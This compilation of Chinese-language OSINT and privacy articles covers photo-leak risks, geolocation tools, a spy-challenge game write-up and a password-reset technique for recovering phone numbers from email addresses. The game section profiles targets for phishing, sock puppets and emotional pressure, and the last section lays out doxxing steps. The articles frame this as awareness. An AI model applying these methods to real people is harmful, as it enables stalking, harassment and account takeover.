在macOS中，右键单击图像文件（或按住Control键并点击它），然后选择“Get Info”。您将在“更多信息”部分下看到纬度和经度坐标。

这个问题可能在 Instagram 上最明显。人们在这里发布各种汽车、奢侈品的图片，并从本质上记录自己的消费。

☞所有这些都有地理标记，因此任何人都可以知道您的下落。

此数据由您的手机或平板电脑中的GPS设备收集，**Instagram**可以访问。这带来了许多风险：

1、纠缠者可以利用这些信息骚扰你的生活中每一个方面。

- 《如何通过 Instagram 轻松追踪目标人在城市中的一举一动？》
- 《只要一张照片，陌生人就可以找到您的一切私密信息》

2、律师/债权人/前配偶/仇人/政府间谍 …… 都可以使用它来查找你。

3、强盗可以跟踪您的位置，准确知道您的房屋中有什么奢侈品，您的房屋在哪里，是否在家，甚至可以建立房屋及其安全系统的布局。

请注意，这种威胁并不仅限于知名度高的名人，可以参见这个例子：《Are thieves checking out your Christmas Tree social media posts?》

钥匙

「图」

尽管基于照片复制出钥匙的方法已经被玩了几十年了，但新的应用程序和图像软件使此过程变得更加容易。

许多人忘记了在线发布的自己、朋友（尤其是在工作中）、和乘车时的照片，其背景中都有钥匙：

「图」

☞诸如 KeyMe 之类的应用程序使窃取某人的房门钥匙变得异常的简单。它是这样的：

使用适用于 iOS 和 Android 的免费应用程序，用户可以扫描钥匙并将其发送给 KeyMe，以创建一个新密钥并将其邮寄给自己。这项服务可以免得您去找锁匠了，并让您通过精美的设计自定义钥匙。

用户必须将钥匙放在白纸上，然后从两面拍摄。根据要求，KeyMe 使用扫描来创建精确的副本，然后将副本发送给您或发出请求的任何人。他们甚至会做汽车钥匙。

该公司的网站上写着：“避免重复去锁匠铺。”“传统的锁匠手动模拟您的钥匙。我们的专利技术对您的钥匙进行数字扫描，并创建与工厂规格一致的完美副本，保证可以正常工作。您的钥匙只会更好用。”

这项服务的操作很简单，因为有一种称为“钥匙咬合”的东西，这是指如何切割和布置钥匙上的“齿”以将单个销钉提升到正确的高度，然后打开锁。咬合告诉锁匠如何切割钥匙以制作精确的副本。

每个制造商都提供自己独具独色的咬合，以创建各种可能的组合，确保没有其他钥匙（或至少没有很多其他钥匙）可以打开同一把锁。

但是，即使所有交易都已通过信用卡和电子邮件确认进行了验证，但这并不能妨碍一个完全陌生的人创建自己的帐户，扫描根本不属于他们的钥匙并要求将副本寄到他自己的地址。

华盛顿邮报无意中泄漏了美国运输安全管理局TSA的万能钥匙

「图」

也许在张贴钥匙照片时没想到可能后果的最极端例子是华盛顿邮报的一篇文章：“行李的秘密生活：您在机场的行李去哪儿了？”在原始文章中，它们包括以下钥匙图片：

☞《华盛顿邮报》没有意识到的是，拥有钥匙的图像几乎与拥有钥匙本身一样好。数千年来，秘密复制钥匙的把戏都很流行。

人们几乎立刻能想到如何3D打印这个万能钥匙。即使《华盛顿邮报》后来将这张照片撤下来了，但已经为时已晚。

⚠任何东西一旦上了互联网，就不可能轻易消失。现在，您甚至可以在eBay上找到由真实金属制成的TSA万能钥匙。

宠物

「图」

这几乎是最常见的漏洞 ……

ID Analytics 在2010年进行的一项调查发现，近2000万美国人在社交网络上透露了自己的宠物的名字。我只能想象自那时以来这个数字已经增加了非常非常多。

宠物的名字是一个特别常见的安全问题。然而粗略搜索大多数宠物主人的社交媒体帐户，就会发现他们宠物的名字：

记忆

「图」

人们喜欢在解释自己的个人历史的图像中分享简要自传。

例如，在下面的帖子中，一名医生正在展示她所有的旧ID胸卡，从医学院到她的第一个就职角色。

她很可能不会将这些照片视为威胁，因为所有这些都是旧的“过期” 的形式。

☞但问题是，它们会向潜在的黑客泄露大量信息：

- 第一份工作（常见的安全问题）
- 她的签名
- 毕业日期
- 面部识别使用的年龄增长生物特征
- 详细的就业历史
- 清晰的模板，用于为这些设施中的任何一个生成伪造的ID（许多公司数十年保持同样的设计）

您可以做点什么以更好地保护自己的隐私？

▸**1**、减少您对社交媒体的整体使用

社交媒体使人们获得有关您的个人信息变得更加容易。我们在 “完美隐身” 系列中强调过这点 —— 如果你不希望被追踪到，那么最好避免社交媒体。

尽管在社交媒体上保持活跃有一定的积极意义，但是，减少整体使用量真的可以极大地改善您的隐私。

☞尤其是寡头社交媒体平台，他们会用尽各种办法营造一个鼓励人们晒生活的氛围 —— 很多人，真的是很多，他们的社交媒体账户基本就是其一生的实况录像，为黑客提供了几乎所有的数据点。

▸**2**、更改密码，重要帐户不要使用相同的密码

为了确保您的帐户和数据的安全性，最好定期更改您的帐户密码。

同样重要的是，确保不要在多个平台上使用相同的密码。

如果发生数据泄露，黑客通常可以从一个泄露的密码开始，然后通过识别您的相关个人资料来访问您的所有帐户（如果密码不是唯一的话）。

▸3、创建虚假的分身账户

设置虚拟帐户是减少您的个人信息暴露的好方法。⚠切勿将您的真实/主要电子邮件地址链接到您的社交媒体帐户。

- 这里是详细方法介绍《如何快速创建一个假人？简易版分身术—调查人员使用》
- 《分身术完整指南：妥善管理您的在线身份并获得安全的方法》

▸4、修改安全问题的答案

如上所述，可以通过社交媒体轻松找到安全检查问题的答案。阻止黑客的一种方法是改变您的安全问题的答案。

例如，当被问及您在哪条街上长大的时，请输入您最喜欢的球队的名字。或者，在答案中添加随机字符串。例如，“我家的街道名＋”（“92er !.”）。请记住要保留随机字符的备份，以防万一您自己忘记了。

▸5、随时记得，一旦将某些内容发布到网上，它就永远不会消失

将某些内容上传到互联网（包括社交媒体）后，您将不再有权控制接下来发生的事。

⚠这意味着您应该考虑非常现实的可能性，即：您在线发布的所有内容最终都将永远存在于互联网上。

因此，任何一次发布，包括私密聊天，都需要您首先考虑后果。

☞不要错过我们的未完成系列：

- 《在不自由中创造自己的自由：变得难以被追踪的简单方法（1）》
- 《构建防御直觉是生存的基本功：变得难以被追踪的简单方法（2）》
- 《与S先生共度美好一天—反取证技巧：变得难以被追踪的简单方法（3）》

- 《保持零信任：变得难以被追踪的简单方法（4）》
- 《少即是多：变得难以被追踪的简单方法（5）》
- 《大保健应该成为习惯：变得难以被追踪的简单方法（6）》
- 《在雷达下低飞：变得难以被追踪的简单方法（7）》
- 《到底也没有无法被监听的电话？：变得难以被追踪的简单方法（8）》
- 持续更新中！

○

《Subtle Information Hackers Find in the Background of Your Social Media Photos》

原文

地理定位调查并非只能谷歌：3种很棒的地图和卫星图像资源 - iYouPort

开源情报-每个人都可用的武器

好玩的东西其实不少，只是其中一些少有人知道

「图」

「图」

开源情报社区最有趣的地方就在于，经常有人会提供一些你从未见过的调查资源和工具，比如 nixintel 总结到的3个新资源，都是为追踪定位服务的，看起来很有用。

1、Mapchecking

Mapchecking.com 是使用 Google Maps API 来计算一个区域内可容纳多少人的工具，就是说，它可以告诉您在地图上绘制出的区域内最多可以容纳多少人。

可以想像，这个工具对于计算参加游行/集会等现场的人数来说，会比较有用。在下面看到手动的简易计算方法：

- 《到底有多少人参加游行？当媒体和警方的数字都是错误的时，如何估算》

「图」

「图」

使用这一工具，只需在地图上勾勒出您感兴趣的区域，大致估计出每平方米有多少人，Mapchecking 即可计算该区域可容纳多少人。

- 关于人群密度计算，可以参考这篇论文《Crowd Safety and Risk Analysis》

2、Phorio.com

曾经需要通过 Google Maps 3D视图定位特定建筑物却失败吗？也许您可以试试这个工具。

Phorio.com 包含有关建筑物的大量数据，并允许您按高度、位置、楼层数和许多其他参数来查询建筑物。

「图」

「图」

当您的调查线索中没有任何地标只有一栋陌生的建筑物时，将其作为重点进行查找，也许就能找出具体位置。

3、五种免费的历史图像资源

这实际上是五种资源，而不是一种，但是它们都有相似的功能。

GisGeography 概述了五个具有存档功能的不同卫星图像数据库；这些功能很有用，因为它们可以让您重新查看历史卫星图像和航拍图像，以便您可以监视随时间变化的情况。对于调查目标中有近期施工迹象的位置来说会非常有用。

Google Earth 的存档功能已经众所周知，但是这里还有其他四个功能：

Esri 的 Wayback Living 地图集 —— 包含越来越多的历史卫星图像和地图：

「图」

「图」

USGS Landlook —— 包含可追溯到1999年的航拍照片存档：

「图」

「图」

NASA Worldview —— 提供范围广泛的图像，从仅几个小时的数据到几个月的数据。它非常适合查看特定时间的气象，虽然没有高分辨率

细节可以检查地面上的物体，但是您可以对比调查目标呈现的气象特征以推断位置。

「图」

「图」

Planet Labs —— 包含大量图像，您可以访问并收集这些图像以监视某个区域随时间的变化（需要注册）：

「图」

「图」

总之，地理定位调查并非只能谷歌，还有更好的东西也许更适合您的目标。试试看，也许会发现惊喜。〇

原文

好奇心作为驱动力 - iYouPort

开源情报-每个人都可用的武器

好奇心让你想要学习的越来越多，正是调查的好奇心让你一直在挖掘，直到你终于找到了重要的东西。**OSINT**的好奇心是关键动力。如何调动和保持这份好奇心？

无论您是OSINT新手还是经验丰富的专业人士，都有一个共同点，那就是对 OSINT 的好奇心。这意味着了解事情在后台如何运作的冲动。正是这种激情让你想要学习的越来越多，正是调查的好奇心让你一直在挖掘，直到你终于找到了重要的东西。简而言之，OSINT的好奇心是关键动力。

以下五件事可以帮您调动和保持这份好奇心。

1、读

保持OSINT好奇的一个简单但非常有效的方法就是阅读。有很多出色的 OSINTers，与更广泛的社区分享他们的见解和知识。这可以是单个推文、博客文章、甚至播客和视频—所有这些都专门针对特定的主题、工具和技术以及调查。阅读（或倾听）不仅有助于通过获取灵感来保持OSINT的好奇心，而且还可以了解有关方法、工具等更多信息。

特别是，通过案例研究是最好的学习方式，也就是 IYP 曾经的诸多演示。这使您可以轻松了解其他人如何从概念到完成对特定问题进行的OSINT调查; 他们使用了哪些工具和技术（包括其中哪些不起作用）; 挑战是什么、以及最终如何克服这些挑战。从本质上讲，要保持OSINT的好奇心，请阅读OSINT经验。以下是一些可以帮助您入门的资源（无特定排序）：

- https://medium.com/week-in-osint
- https://inteltechniques.com/blog/
- https://keyfindings.blog/
- https://www.reddit.com/r/Intelligence/

- https://www.thecipherbrief.com/
- https://www.bellingcat.com/tag/osint/
- https://www.wired.com/category/security/
- http://www.intelligence101.com/category/open-source-intelligence/
- https://medium.com/secjuice/osint/home
- 当然还有https://osintcurio.us

2、学习

学习与阅读密切相关。这很简单，你读的越多，你学的就越多。有许多优秀和免费的资源可供学习，将允许您快速扩展OSINT技能。所有一切可以仅使用公开来源获取的调查，您都可以尝试。

随着开源领域不断扩展，应用程序、工具和技术也在不断扩展。最好的部分是—你只需一台笔记本电脑和一个体面的互联网连接，你就可以在任何地方做到这一点。

阅读这些案例研究并了解其他人如何做到这一点的，不仅会让你保持OSINT的好奇心，而且还会让你成为更好的OSINTer。

不要误会，你并不需要成为一切的专家。这是关于了解其他人如何处理具有挑战性问题的方法; 决定使用哪些数据源、以及原因是什么; 在这种情况下哪些工具和技术最合适、哪些不合适; 以及在仔细收集、验证和分析公开信息后，如何将开源信息最终转化为开源情报。

3、应用

保持OSINT好奇的另一种方法就是将知识应用到最感兴趣的案例中。当然，对于那些日常工作就是OSINT的人来说，这当然更容易，但是如果你是OSINT的新手，并且你想学习更多、做得更好，我会说—尝试就行了。当然，掌握特定技能需要一些时间。但是，这不应该阻止你做你喜欢的事。

如果你喜欢地理定位的想法—找到世界上的某个地方或某个人—你可以关注@quiztime并参与他们的日常挑战。这是练习和掌握**OSINT**地理定位技能的最简单、最好的方法。如果您想更进一步，请联系Twitter上的OSINT人员，他们处理真实案例并为众包OSINT调查做出贡献。

4、助理

保持OSINT好奇的第四种方法是策划其他人也可以使用的资源。我的意思不是OSINT工具的另一个 start.me页面。已有很多令人惊叹且非常有用的仪表板，例如 Technisette 的OSINT仪表板或 Justin Nordine 的OSINT框架。所以没有必要重新发明这些东西。我的意思是，请仔细策划您感兴趣的、利基主题的资源列表。

5、分享

没有什么比分享您的专业知识和经验更好的了。学习不是单向的。事实上，您肯定会从分享您的专业知识和经验中受益。OSINT的好奇意味着彼此分享和学习。创建一个OSINT社区，邀请来自世界各地的专家分享他们的见解和数十年的经验，甚至只是本土专业人士也是非常棒的。所以，行动起来吧，获得真相！ 广告

原文

好玩的间谍挑战 - iYouPort

开源情报-每个人都可用的武器

这是一个有趣的实战。起底一个法国的加密货币骗局，居然在其中挖出了疑似中国网络军队的成员。

正如您知道的，开源情报、道德黑客和社交工程，三部分是相通的，往往会结合使用，尤其是在一项深入追查的实践中。

本案例就是这样一套实践笔记。

- 尤其提醒注意几点：*1*、社交网络情报的重要性和致命性 —— 那个中国网军就栽在这里；*2*、社交工程攻击模版的设计思路 —— 可以非常疯狂；*3*、追击和反追击同时需要注意的事项 —— 尤其是反追击的您，因为您的对手在此是非常专业的，其能力应该比本文更进一步。

⚠这些方法是任何警察和间谍都惯于采用的，并无很高的技术含量，但它们的危害性非常大，如果你处在逃脱者的位置上，通过本文您应该大致能看出为什么我们要不断强调一系列基本的保护性措施。

再次，这只是最基本的侦查，根据不同国家谍报机构的能力，实际上那些间谍会做得更加精彩和深入。

不过一般人遇不到那种级别的特工。于是这些基本侦查手段是应该被大众熟悉的。

⚠请注意，您日常不经意透露的任何信息都有可能是致命的。

「图」

「图」

今年是间谍挑战游戏的第三年。

“间谍挑战”是由三位研究人士于2016年创立的，这是一个基于

OSINT，社交工程和物理攻防的竞赛：创建者是 MélikLemariey、Sylvain Hajri 和 Christophe Baland。

本次比赛涉及一些由三人或四人组成的团队，根据任务自行组队。您也可以试着来玩。

这个游戏分为三个阶段：OSINT、物理跟踪和物理入侵。本文只介绍前两部分。

竞争者面临着一些挑战，他们需要努力赢过对手才能被选中进入下一阶段。

在每个阶段结束时，参与者会发送所收集信息和所采取措施的详细报告。然后组织者使用这些报告来定义团队排名。

—— 介绍 ——

根据第 502-NXH-857 号任务令，“Sociétéd’InvestigationSpécialisées” 组织的总部招募了33个由精英特工组成的小组，他们的调查目标是加密货币筹款活动 SupremIoT 公司。

实际上，参与此次筹款活动的一些投资者已经对 SupremIoT 目标的合法性产生了怀疑，并要求尽可能多地获取有关该公司及其员工的信息。

你的团队会为你提供有关此案例的部分基本档案，其余为机密内容需要你去挖掘。

第一步先采集线索，第二步是为设计攻击作准备。

—— 关于该公司 ——#**SupremIoT** 在互联网上的存在

1. Name of the token (_name): Suprem IOT Token

- Symbol of the token (_symbol): SHIOT
- Total token supply (_totalSupply): 2 millions
- Number of decimals (_decimals): 18

1. Mei Shi 有一个在托儿所的小女儿: Chell

- 另一个电子邮件地址 ms.lianhua@hotmail.com

「图」

「图」

现在查看推特联系人。她的关注对象基本都是中国媒体，还包括知名的反病毒厂商和政府机构。很奇怪。

仔细看你会发现一些帖子中带有奇怪的标志，**#61398**

「图」

「图」

在 Facebook上她也发布了在上海度假的照片……但这一次，她的评论是："A daywork like any other……"表明她正在这里工作？

「图」

「图」

在网上搜索一下就能知道，这座建筑是 61398 总部，是中国的网络军队……这个数字不提醒你什么吗？

「图」

「图」

强烈怀疑 Mei-Shi 正在为 APT1 黑客组织工作。

此外，一些推文似乎能将她定位在北韩……这些地方似乎对应于平壤战略政治机构附近的一家酒店…… Mei-Shi 是否正在进行政治旅行？

「图」

「图」

她于6月23日返回中国，她的推文将她定位于平壤机场。她居然使用 Facebook 联系 Advei，宣布她26日返回法国，很容易查到她的航班。

要获取以上这些信息，你只需要做一个袜子木偶，在 **Facebook** 上申

请与 **Advei** 成为“朋友”（为他那种人制作一个有吸引力的个人资料并不困难……）然后去搜索从上海到巴黎的航班。

更多介绍在这里看到《某些行动者，你需要一个袜子木偶》

「图」

「图」

真的要感谢 Mei Shi 在这种人太喜欢晒了，她的 Facebook 上发布了大量照片，还能找到电子邮件地址。从这个地址，搜索引擎会将你引导到数据库泄漏的 Pastebin 链接，在上面连密码都能找到…

然后可以访问 Outlook 帐户…（一些团队很乐意删除消息：幸运的是 Mei Shi 没有这么做……）也可以获得邮箱的“pst”。

然后你会注意到她与几位记者的交流，包括某个叫“U.G.”的人会定期与她交流（如果你读了这场游戏中竞争团队的报告就会知道，这个人是 Ugly Gorilla）。

这些交流消除了对 **Mei Shi** 为网络犯罪实体工作的疑虑，该实体最有可能是 **APT1**。

并且了解到已经他们开展了一些行动，而其他行动也将继续到来。

在某些电子邮件中，有效负载最有可能通过另一个渠道（似乎指的是“软件包”）进行交换。在搜索操作名时，很容易看出它们通常是通过国家级恶意软件进行的大规模攻击。

通过她的 Outlook 帐户，可以在联系人中找到 Ian Kudryashov 的电子邮件地址；她的电子邮件大多是发送给她的 APT1 队友的。她告诉他们，SupremIOT 团队将很快发布革命性的算法，并开始获得团队的信任。

在6月30日前几天，她回复了一封来自 Ian 的电子邮件，要她与最喜欢的女按摩师约定时间会面。注意，她很有可能是一名中国 APT1 成员，想想看她与 Ian 的“放松时刻”中会发生什么？

「图」

「图」

—— 方法 ——

在收集了所有上述这些信息之后，可以为每个目标建立几乎完整的心理图景概况，以及接近和/或收集个性化信息的方法。

以下描述一些基础部分。当然，⚠你完全可以更疯狂，采取更多激进的进攻策略。

攻击可以通过 vishing，网络钓鱼，Telegram，LinkedIn，……进行。

建议使用 MICE 或 SANSOUCIS 等方法，以提高效率。

1、Advei

总有一天他会被美女毁掉……但就目前而言，还没有必要就此做蜜罐。另一方面，可以通过其对精神、音乐或对国家的热爱琢磨出他的明显品味，以此来接近他，这既能收集信息、也是能操纵他采取行动的一种方式。

2、Ian

虽然 Ian 也喜欢美女，但除非特殊情况否则他不会结婚。另一方面，在查看了他经常光顾的地方之后，你可以通过谈论他可能感兴趣的主题，例如 漫画、动漫、国际象棋，很好地设计一套社交工程攻击的方案。

当然，在他的Mac上使用 0-day 也非常容易……不过除非你是FBI或中国国安部的代理人，否则一般人买不起苹果的 0-day。非常贵的。

3、Umberto

Umberto 在开发加密货币方面看起来并不那么专业，正如上述视频逐帧分析中看到的那样，也要感谢他参加的那个声称在短短四个小时内就可以教授开发智能合约技术的培训。他最近才刚从建筑行业转行的经历符合这一假设。

邀请他参加有足球比赛的活动可以成为接近成功的保证。知道他对国家的怀旧情绪，围绕葡萄牙社区组织的活动也会很有效。

最后，挖掘经常为他提供额外服务的健身房，也能是收集信息的好方法。

4、Benoît

此人是标准诈骗者。除了承诺让他与世界上最伟大的人建立独家伙伴关系外，还能为他提供什么呢？

然而，应该注意的是，如果他不太了解IT技术、并且对点击不那么谨慎的话，那么网络钓鱼攻击篡夺他的银行账户或他的首选交易平台账户可能是有效的。

不要忘记 Benoît 似乎是一个自我表现欲狂热者的事实（参见相同照片的使用，地理定位错误等细节……）并且希望通过定期发布关于他的工作的信息来推动自己的形象，而他的合作者并没有透露很多关于工作的内容。

这种人也许会轻易说出一些他本应该保密的事，他通过这种方法使自己看起来更有趣，特别是对女性而言，他对美女会说更多的话。这就为你的攻击模型奠定了一些基础。

5、Katrien

Katrien 被认为是千禧一代的标准社交网络成瘾者，并且很自恋，为自己的外表感到自豪。引申意义是她缺乏自信心。

通过 Instagram 社交网络对她进行社交工程攻击似乎是最容易的，重点在于，你的袜子木偶需要拥有很多“粉丝”（去购买僵尸粉）并且你“很帅”（多发布不知名的帅哥照片，并声称那是你自己）。

还应该记住，她是 **SupremIoT** 的实习生，她缺乏经验，可能导致她无意中泄露组织的秘密。

6、Pascal

Pascal 具有一个好人的所有外部特征。不幸的是，他也有一个机会主义者的形象，他对密码学知之甚少，但对自己的工作充满热情。

而另一方面，他有点笨拙，他发布的广告与他的推特账号具有相同的昵称，说明他一点谨慎意识都没有。

如果你想采取不那么积极的方法，可以发送独家邀请，请他参观鳄梨冰沙制造公司并承诺全程免费。

7、Mei-Shi

为了攻击这类人，建议您使用所有技术手段来保证您的匿名性，除非您想要使用经过验证的方法可以安全地处于某些政府机构的火线之下——比如中国政府。

需要自由裁量权。要做到这一点，你可以回应她关于 Raspberry Pi 的销售提案，谈论魔术卡游戏，或者甚至可以谈谈你希望在满足对中国的胃口的同时完成与 Mei-Shi 相同的“成就”。

但是，如果你想玩火，她的女儿就是目标话题之一，以及她在中国的国家服务中的活动，这样就会很可能令其陷入混乱。

—— 跟踪和互动 ——

这是实地战斗部分。其战略设计基于上述分析出的情报。

正如在 OSINT 阶段所指出的那样，SupremIoT 作为赞助商出现在 Nuit du Hack XVI，因此这里应该有一个位置。

「图」

「图」

在这个位置上，所有 SupremIoT 员工轮流担任。

「图」

「图」

通过此跟踪和互动阶段，可以获取有关个人及其个性的很多其他信息，检索到意外无人看管的文档：

「图」

「图」

「图」

「图」

1、对 Benoît 的跟踪

对 Benoît 的监视发现他欺骗了整个 SupremIoT 团队。

他兜了一个大圈子（可能是为了摆脱追踪者），但是唯一没有小心的是垃圾桶。他把重要的信息写在纸上然后扔进了垃圾桶，上面的字显示他设法挪用了一笔钱，并且没人发现。

「图」

「图」

在这次监视之后，Benoît 经常独自一人，这是与他交谈的理想时间，偷偷录制对挪用金钱的供词，以便以后对他提起诉讼。

2、对 Advei 的跟踪

Advei 必须找到一个帮忙洗钱的人。

对这位首席执行官的监视显示，他会面了一名俄罗斯男子，此人用手铐把手腕和密码箱拴在一起。

「图」

「图」

「图」

「图」

一旦洗钱的那个人离开，渗透进内部的特工就想办法说服 Advei 跟他索取一些钱以偿还“不幸的客户”（只是编造的），就是为了让他打开那个箱子。

「图」

「图」

—— Mei-Shi 的案子 **——**

使用 KylinOS 操作系统销售她的 Raspberry Pi 的这位中国代理人 Mei-Shi 对总部非常感兴趣，但不仅仅如此……

事实上，Mei-Shi 的老板要求她将电子设备送回去。于是跟踪者的目标就是不惜一切代价抢在被送回之前买到她的设备。

「图」

「图」

间谍团队中的一人与 Mei-Shi 会面，以冒充他人的合法代理人。团队其他人协助更大范围的跟踪。

「图」

「图」

交易完成后，Mei-Shi 离开了，但渗透者被法国反间谍拦截。他们想了解更多有关 Raspberry Pi 的信息，特别是关于拥有此设备的人。

渗透者被带到一个单独的房间，等待法国特工前来质疑他，并且被戴上了手铐。他身边有一个金属条和一个发夹，这样他就可以自己打开手铐。

这里是考验基本操作方面的训练。

「图」

「图」

关押他的房间受到射频识别(RFID)访问控制的保护。团队的其他特工负责对付前门的警卫，目的是复制到警卫的门禁卡。

「图」

「图」

一旦被捕者逃脱，将立刻与在外面接应的团队成员汇合，游戏接近完成；现在他们要做的最后几件事是什么？

好啦，希望通过这个游戏能帮您了解到深度调查取证的一些小技巧；并且，包括如何防御这些侦查手段。〇 广告

原文

如何仅仅通过电子邮件挖到你的电话号码：一种新的开源情报追踪方法 - iYouPort

开源情报-每个人都可用的武器

仅通过滥用密码重置选项和使用公开可用信息就可以有效地进行暴力破解 —— ⚠本文介绍这种攻击如何进行 、以及它的危害，目标是提醒安全意识。（含视频讲解及幻灯片下载）

「图」

「图」

安全研究人员 Martin Vigo 对密码重置选项中的弱点和攻击媒介很在行，他谈到了一个名为 “Ransombile” 的工具。

该工具可以通过短信为许多Alexa排名前100的网站自动执行密码重置过程，⚠有助于进行有针对性的攻击。

他还谈到了滥用 DEF CON 和CCC上的语音信箱系统所带来的广泛影响，该滥用是通过电话重置密码。

在研究这些主题时，Martin Vigo 花了许多时间在各种不同的网站上测试和重置密码。他开始注意到一种以前从未注意到的模式。

当您想重设密码时，你会看到不同的选项；通常包括：接收带有唯一链接的电子邮件，以进行单击验证；获取带有六位数代码的SMS，甚至可以选择直接接听电话并听到密码。

在查看通过短信或电话重置密码的选项时，你会注意到，用户界面上通常显示部分电话号码。

但是，它的屏蔽方式是仅显示其中几位数字，但是足以失败用户。

换句话说，如果我知道您的电子邮件，我可以为您的帐户启动密码重

置过程，并获取您的电话号码的至少几位数。这就是攻击的开端。

如上所述，他花了很多时间重置密码，但意识到并非所有网站都显示相同的数字。有些会显示最后四位，有些会显示第一位和最后两位，依此类推。

⚠没有掩盖电话号码等个人身份信息（**PII**）的标准方法。如何遮蔽完全由开发人员决定，这就是问题所在。

为了说明实际情况，以贝宝（Paypal）为例。

「图」

「图」

如果我是攻击者，启动密码重置过程，它将显示第一位和最后四位。

「图」

「图」

但是，如果我登录并遇到2FA的挑战，它将仅显示最后三位。

这意味着，仅用您的电子邮件地址，我就能获得您电话号码中的五位数。如果我知道您的电子邮件和密码，那么我只会得到三位数 。

与仅知道您的电子邮件地址的攻击者相比，贝宝对已经知道您的密码的攻击者隐藏了更多的数字。

深层发掘

列出人们倾向于注册的热门网站，并检查这些网站的密码重置过程。

目标是确定哪些站点只会要求电子邮件来启动该过程（无需进一步的信息），支持基于移动设备的密码重置、以及“泄漏”的电话号码位数。

以下是一小部分。

泄漏前三位和后两位：

- eBay

泄漏第一位和后四位：

- Paypal

泄漏第一位和后两位：

- Yahoo

泄漏最后四位：

- Lastpass

泄漏最后两位：

- Google
- Facebook
- Twitter
- Hotmail
- Steam

查看上面的列表可以得出结论，例如，⚠如果您同时拥有 **eBay** 和 **LastPass** 帐户，则攻击者就可以知道您的电话号码中十分之七的数字（美国电话号码**10**位数）。

换句话说，攻击者可以仅仅使用您的电子邮件地址猜测到您电话号码的可能性，已经从十亿个可能性降低到一千个。

这不是唯一可能的组合，但在这篇文章中重点介绍这种情况。

发现剩余的数字

十分之七的数字，这意味着现在只缺少三个数字。在这一点上，重要的是集中于我们已经知道哪些数字。

美国电话号码由3个字段组成：区号（或NPA），电话局（或中心局代码）和用户号码。当然还有国家/地区代码，但暂时专注于美国号码（后面扩展到其他国家 —— 攻击模式是一样的）。

「图」

「图」

eBay + LastPass 泄漏了区号和用户号码。重要的是要强调，这丢失

的3位数字是中心局代码。

这很重要，因为它将帮助你进一步缩小可能性。

NANPA

NANPA 是北美编号计划管理员，加拿大、美国和某些加勒比国家的公用电话交换网的编号方案。这个网站是金矿！

从这个来源中可以学到了很多电话系统的工作原理。最重要的是，能找到你想要的东西。

NANPA 维护着实时更新的区号列表、以及"可公开访问的"相应中心局代码。它会经常更新，您可以查询数据或下载包含所有信息的可分析文件。

「图」

「图」

Exchanges in San Francisco

那么这个东西怎么用呢？让我们以旧金山的区号415为例。如果我只缺少对应于中心局代码的三个数字，那么我有1000个可能的数字匹配目标人。

通过使用 NANPA 数据集，我可以将其减少为784个可能的数字，因为有216个交换号未分配给415区号。这就减少了20%以上，还不错！

我使用了不同的区号，例如，阿拉斯加907区号仅分配了625个交换机。

仅使用 NANPA 提供给我们的宝贵信息，就不再需要考虑那375个号码了。塔科马的253区号只有458个交换机。现在消除了一半以上的可能号码。

如果目标只有贝宝帐户怎么办？答案是：你能知道十分之五的数字！

但是，究竟是哪一个呢？

现在有区号的第一位数字和最后四位随机数字。假设您知道目标来自

加利福尼亚。感谢 NANPA，你能知道与加利福尼亚州相对应的所有区号。

在加利福尼亚州，只有两个区号以2开头：213和209。其他两个以3开头，两个以4开头等等。

也就是说，⚠仅仅知道区号的第一位数字，您仍然可以很容易地推断出电话号码的前三位数字。

国家号码资源管理者

但是，如果目标只有一个eBay帐户怎么办？或者 Paypal ＋ Google？

现在有区号和用号号码的后两位 —— 再次强调，我们需要专注于已经拥有了哪些数字。

上面讨论了如何使用 NANPA 的公共记录来根据区号和交换机号以缩小可能的数量。那么，是否有任何公共记录可以帮助你根据用户号码排斥掉更多无效的号码可能性？有！"那就是国家号码资源管理者"。

从历史上看，电话号码是将电话转接到实际位置的人的一种方式。比如 415–272-XXXX。

前3位数字将其范围缩小到具体的区域，例如旧金山；272交换机专用于 Sausalito，而缺少的4位数字指定该限制区域内的实际个人（用户）。

由于运营商拥有特定的区号＋交换机，因此，这意味着将有10000个电话号码分配给使用AT＆T的 Sausalito 居民（运营商拥有415–272）。

截至2017年，索萨利托共有7110名居民。这意味着从10k的可用号码中，仅会使用7k，前提是如果每个人都是AT＆T客户。这样就可以排除很多了。

国家共用管理部门负责管理号码，并拥有所分配区域的公共记录，包括订户号码。我们可以根据这些信息进一步过滤掉不可能的号码。

例如，以缺少最后4位数字的 Sausalito 号码 415–272-XXXX 为例，可以使用公共记录来丢弃 415–272- [0–8] XXX 等电话号码，只关注以9开头的用户号码。

换句话说，这样就可以把有效电话号码的可能性从**1**万减少到了**1000**。

「图」

「图」

9th block is the only one assigned

仍然，还有有太多可能性

现在，您有目标的电子邮件地址，该电子邮件地址恰好来自塔科马，并且拥有 eBay 和 LastPass 帐户。

你启动密码重置过程，并从目标人的电话号码的十位数中获取七位数。

现在，您可以使用 NANPA 摆脱掉542个可能性，并将列表减少到分配给该电子邮件地址的458个可能的号码。然后继续使用“国家号码资源管理者”，从而将可能的有效电话号码减少到445。

现在怎么办？445仍然是相当数量的电话号码。我要说的是，⚠仅在知道电子邮件的情况下就能将十亿个可能的电话号码减少到**445**个，这非常重要。

其余的甚至可以手动测试。

但这里的目标是在尝试进行任何手动验证之前，尽可能地减少可能性。于是 ，继续筛。

您可以通过多种方式获取其余缺失的电话号码数字，以查看它们是否以某种方式链接到电子邮件地址。

⚠使用具有明确定义搜索标志的搜索引擎来尝试查找线索，找找看是否目标用户将其电话号码留在了论坛、网站等这类地方。

在 pipl、BeenVerified 或 Spokeo 等在线服务上查找电话号码，这些服务具有庞大的数据库，其中包含人们的个人信息。

您甚至可以使用电话系统在线服务，该服务使您可以按电话号码反向搜索电话的所有者。

- 在这里看到方法介绍和工具对比《如何快速知道未知来电的真实身份？》
- 以及，最全面的搜索大师工具书《如果你擅长搜索，你能找到一切》

实际上我很震惊，因为我能够通过仅提供电话号码并支付10美分给Twilio就从 WhitePages 之类的服务中获得大量个人信息。

这些选项很好，但并非100%可靠。您可能在搜索引擎中找不到任何内容、或在线数据没有目标的电话号码，并且白页往往有些过时，很多时候只是没有所需的信息。

因此，开始思考可以**可靠地**获取分配给电子邮件地址的电话号码的新方法。

反向重复使用相同的攻击媒介

再一次，重设了密码，然后发送了一封电子邮件……于是又得到了几位数。可以通过输入电话号码重置密码并找回一些电子邮件字符吗？

「图」

「图」

Amazon password reset using phone number

找到了！事实证明，有一些流行的服务，例如 Amazon 和 Twitter，可让您通过输入电话号码并获取电子邮件来完成重置密码过程。

最重要的是，它将显示将链接发送到的电子邮件地址的几个字符。

